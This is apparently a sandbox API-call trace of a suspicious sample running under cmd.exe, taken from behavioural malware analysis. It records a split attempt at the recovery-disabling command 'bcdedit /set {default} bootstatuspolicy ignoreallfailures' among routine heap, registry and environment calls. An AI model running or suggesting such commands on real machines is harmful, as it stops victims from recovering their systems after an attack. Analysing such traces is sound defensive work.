	[0201.291] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3446b0 | out: hHeap=0x330000) returned 1
	[0201.291] GetProcessHeap () returned 0x330000
	[0201.292] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x34c160
	[0201.292] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0201.292] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default}", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x12f330*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default}", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f2e0 | out: lpCommandLine="bcdedit  /set {default}", lpProcessInformation=0x12f2e0*(hProcess=0x50, hThread=0x54, dwProcessId=0x1fcc, dwThreadId=0x1fd0)) returned 1
	[0201.300] CloseHandle (hObject=0x54) returned 1
	[0201.300] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0201.300] GetProcessHeap () returned 0x330000
	[0201.300] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c180 | out: hHeap=0x330000) returned 1
	[0201.301] GetEnvironmentStringsW () returned 0x34c180*
	[0201.301] GetProcessHeap () returned 0x330000
	[0201.301] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0201.301] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0201.301] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0
	[0203.970] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x12f228 | out: lpExitCode=0x12f228*=0x1) returned 1
	[0203.970] CloseHandle (hObject=0x50) returned 1
	[0203.970] _vsnwprintf (in: _Buffer=0x12f498, _BufferCount=0x13, _Format="%08X", _ArgList=0x12f238 | out: _Buffer="00000001") returned 8
	[0203.970] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0203.970] GetProcessHeap () returned 0x330000
	[0203.970] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0203.971] GetEnvironmentStringsW () returned 0x34c180*
	[0203.971] GetProcessHeap () returned 0x330000
	[0203.971] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0203.971] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0203.971] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0203.971] GetProcessHeap () returned 0x330000
	[0203.971] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0203.971] GetEnvironmentStringsW () returned 0x34c180*
	[0203.971] GetProcessHeap () returned 0x330000
	[0203.971] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0203.971] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0203.972] GetProcessHeap () returned 0x330000
	[0203.972] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c160 | out: hHeap=0x330000) returned 1
	[0203.972] DeleteProcThreadAttributeList (in: lpAttributeList=0x12f2f8 | out: lpAttributeList=0x12f2f8) 
	[0203.972] _get_osfhandle (_FileHandle=1) returned 0x7
	[0203.972] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0203.973] _get_osfhandle (_FileHandle=1) returned 0x7
	[0203.973] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0203.973] _get_osfhandle (_FileHandle=0) returned 0x3
	[0203.974] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0203.974] SetConsoleInputExeNameW () returned 0x1
	[0203.974] GetConsoleOutputCP () returned 0x1b5
	[0203.975] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0203.975] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0203.975] exit (_Code=1) 

Process:
	id = "51"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x294a0000"
	os_pid = "0x169c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "cmd /c \"bootstatuspolicy ignoreallfailures\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1065
	os_tid = 0x16a0

	[0196.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fe30 | out: lpSystemTimeAsFileTime=0x20fe30*(dwLowDateTime=0x453429f0, dwHighDateTime=0x1d5cdef)) 
	[0196.429] GetCurrentProcessId () returned 0x169c
	[0196.429] GetCurrentThreadId () returned 0x16a0
	[0196.429] GetTickCount () returned 0x1176b22
	[0196.429] QueryPerformanceCounter (in: lpPerformanceCount=0x20fe38 | out: lpPerformanceCount=0x20fe38*=33818168815) returned 1
	[0196.430] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000
	[0196.431] __set_app_type (_Type=0x1) 
	[0196.431] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0
	[0196.431] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0
	[0196.432] GetCurrentThreadId () returned 0x16a0
	[0196.432] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x16a0) returned 0x3c
	[0196.433] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0196.433] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0196.433] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0196.433] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0196.434] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fdc8 | out: phkResult=0x20fdc8*=0x0) returned 0x2
	[0196.434] VirtualQuery (in: lpAddress=0x20fdb0, lpBuffer=0x20fd30, dwLength=0x30 | out: lpBuffer=0x20fd30*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0196.434] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fd30, dwLength=0x30 | out: lpBuffer=0x20fd30*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0196.434] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fd30, dwLength=0x30 | out: lpBuffer=0x20fd30*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0196.434] VirtualQuery (in: lpAddress=0x114000, lpBuffer=0x20fd30, dwLength=0x30 | out: lpBuffer=0x20fd30*(BaseAddress=0x114000, AllocationBase=0x110000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0196.434] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fd30, dwLength=0x30 | out: lpBuffer=0x20fd30*(BaseAddress=0x210000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0196.434] GetConsoleOutputCP () returned 0x1b5
	[0196.435] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0196.436] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1
	[0196.436] _get_osfhandle (_FileHandle=1) returned 0x7
	[0196.436] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0196.956] _get_osfhandle (_FileHandle=1) returned 0x7
	[0196.956] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0196.957] _get_osfhandle (_FileHandle=1) returned 0x7
	[0196.957] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0196.958] _get_osfhandle (_FileHandle=0) returned 0x3
	[0196.958] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0196.959] _get_osfhandle (_FileHandle=0) returned 0x3
	[0196.959] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0196.960] GetEnvironmentStringsW () returned 0x418a60*
	[0196.960] GetProcessHeap () returned 0x400000
	[0196.960] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xa7c) returned 0x4194f0
	[0196.960] FreeEnvironmentStringsW (penv=0x418a60) returned 1
	[0196.960] GetProcessHeap () returned 0x400000
	[0196.960] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x8) returned 0x419f80
	[0196.961] GetEnvironmentStringsW () returned 0x418a60*
	[0196.961] GetProcessHeap () returned 0x400000
	[0196.961] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xa7c) returned 0x419fa0
	[0196.961] FreeEnvironmentStringsW (penv=0x418a60) returned 1
	[0196.961] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20ec88 | out: phkResult=0x20ec88*=0x44) returned 0x0
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x18, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x1, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x1, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x0, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x40, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x40, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.962] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x40, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.962] RegCloseKey (hKey=0x44) returned 0x0
	[0196.962] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20ec88 | out: phkResult=0x20ec88*=0x44) returned 0x0
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x40, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x1, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x1, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x0, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x9, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.963] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x4, lpData=0x20eca0*=0x9, lpcbData=0x20ec84*=0x4) returned 0x0
	[0196.964] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20ec80, lpData=0x20eca0, lpcbData=0x20ec84*=0x1000 | out: lpType=0x20ec80*=0x0, lpData=0x20eca0*=0x9, lpcbData=0x20ec84*=0x1000) returned 0x2
	[0196.964] RegCloseKey (hKey=0x44) returned 0x0
	[0196.964] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e69a
	[0196.964] srand (_Seed=0x5e22e69a) 
	[0196.964] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0196.964] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0196.965] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.965] GetProcessHeap () returned 0x400000
	[0196.965] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x218) returned 0x41aa30
	[0196.965] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41aa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0196.966] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.966] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0196.966] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0196.966] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0196.966] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0196.966] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0196.966] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0196.967] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0196.967] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0196.967] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0196.967] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0196.967] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0196.967] GetProcessHeap () returned 0x400000
	[0196.967] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4194f0 | out: hHeap=0x400000) returned 1
	[0196.967] GetEnvironmentStringsW () returned 0x418a60*
	[0196.968] GetProcessHeap () returned 0x400000
	[0196.968] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xa94) returned 0x41b6f0
	[0196.968] FreeEnvironmentStringsW (penv=0x418a60) returned 1
	[0196.968] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.968] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0196.968] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0196.968] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0196.968] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0196.968] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0196.968] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0196.968] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0196.968] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0196.969] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0196.969] GetProcessHeap () returned 0x400000
	[0196.969] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x5c) returned 0x418300
	[0196.969] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20fa90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x20fa90, lpFilePart=0x20fa70 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20fa70*="Desktop") returned 0x25
	[0196.969] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0196.970] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f7a0 | out: lpFindFileData=0x20f7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Users", cAlternateFileName="")) returned 0x401320
	[0196.970] FindClose (in: hFindFile=0x401320 | out: hFindFile=0x401320) returned 1
	[0196.970] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20f7a0 | out: lpFindFileData=0x20f7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x401320
	[0196.970] FindClose (in: hFindFile=0x401320 | out: hFindFile=0x401320) returned 1
	[0196.971] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0196.971] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20f7a0 | out: lpFindFileData=0x20f7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa9fd370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0xa9fd370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Desktop", cAlternateFileName="")) returned 0x401320
	[0196.971] FindClose (in: hFindFile=0x401320 | out: hFindFile=0x401320) returned 1
	[0196.971] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0196.971] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0196.972] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0196.972] GetProcessHeap () returned 0x400000
	[0196.972] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b6f0 | out: hHeap=0x400000) returned 1
	[0196.972] GetEnvironmentStringsW () returned 0x418a60*
	[0196.972] GetProcessHeap () returned 0x400000
	[0196.972] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xae8) returned 0x41ac50
	[0196.972] FreeEnvironmentStringsW (penv=0x418a60) returned 1
	[0196.972] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.972] GetProcessHeap () returned 0x400000
	[0196.972] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418300 | out: hHeap=0x400000) returned 1
	[0196.972] GetProcessHeap () returned 0x400000
	[0196.973] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4016) returned 0x41cc80
	[0196.973] GetProcessHeap () returned 0x400000
	[0196.974] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x5e) returned 0x418300
	[0196.974] GetProcessHeap () returned 0x400000
	[0196.974] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4010) returned 0x420ca0
	[0196.975] GetProcessHeap () returned 0x400000
	[0196.975] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4010) returned 0x424cc0
	[0196.980] _wcsnicmp (_String1="boot", _String2="cmd ", _MaxCount=0x4) returned -1
	[0196.983] GetProcessHeap () returned 0x400000
	[0196.983] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x420) returned 0x41b740
	[0196.983] SetErrorMode (uMode=0x0) returned 0x0
	[0196.983] SetErrorMode (uMode=0x1) returned 0x0
	[0196.983] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x41b750, lpFilePart=0x20f950 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20f950*="Desktop") returned 0x25
	[0196.984] SetErrorMode (uMode=0x0) returned 0x1
	[0196.984] GetProcessHeap () returned 0x400000
	[0196.984] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41b740, Size=0xa2) returned 0x41b740
	[0196.984] GetProcessHeap () returned 0x400000
	[0196.984] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b740) returned 0xa2
	[0196.984] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.984] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0196.985] GetProcessHeap () returned 0x400000
	[0196.985] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x128) returned 0x41b800
	[0196.985] GetProcessHeap () returned 0x400000
	[0196.985] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x240) returned 0x41b930
	[0197.241] GetProcessHeap () returned 0x400000
	[0197.241] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41b930, Size=0x12a) returned 0x41b930
	[0197.241] GetProcessHeap () returned 0x400000
	[0197.241] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b930) returned 0x12a
	[0197.241] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0197.241] GetProcessHeap () returned 0x400000
	[0197.241] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe8) returned 0x41ba70
	[0197.241] GetProcessHeap () returned 0x400000
	[0197.241] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41ba70, Size=0x7e) returned 0x41ba70
	[0197.242] GetProcessHeap () returned 0x400000
	[0197.242] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba70) returned 0x7e
	[0197.242] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.242] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.242] GetLastError () returned 0x2
	[0197.243] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.243] GetLastError () returned 0x2
	[0197.243] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.243] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.244] GetLastError () returned 0x2
	[0197.244] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x20f6c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20f6c0) returned 0xffffffffffffffff
	[0197.244] GetLastError () returned 0x2
	[0197.244] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
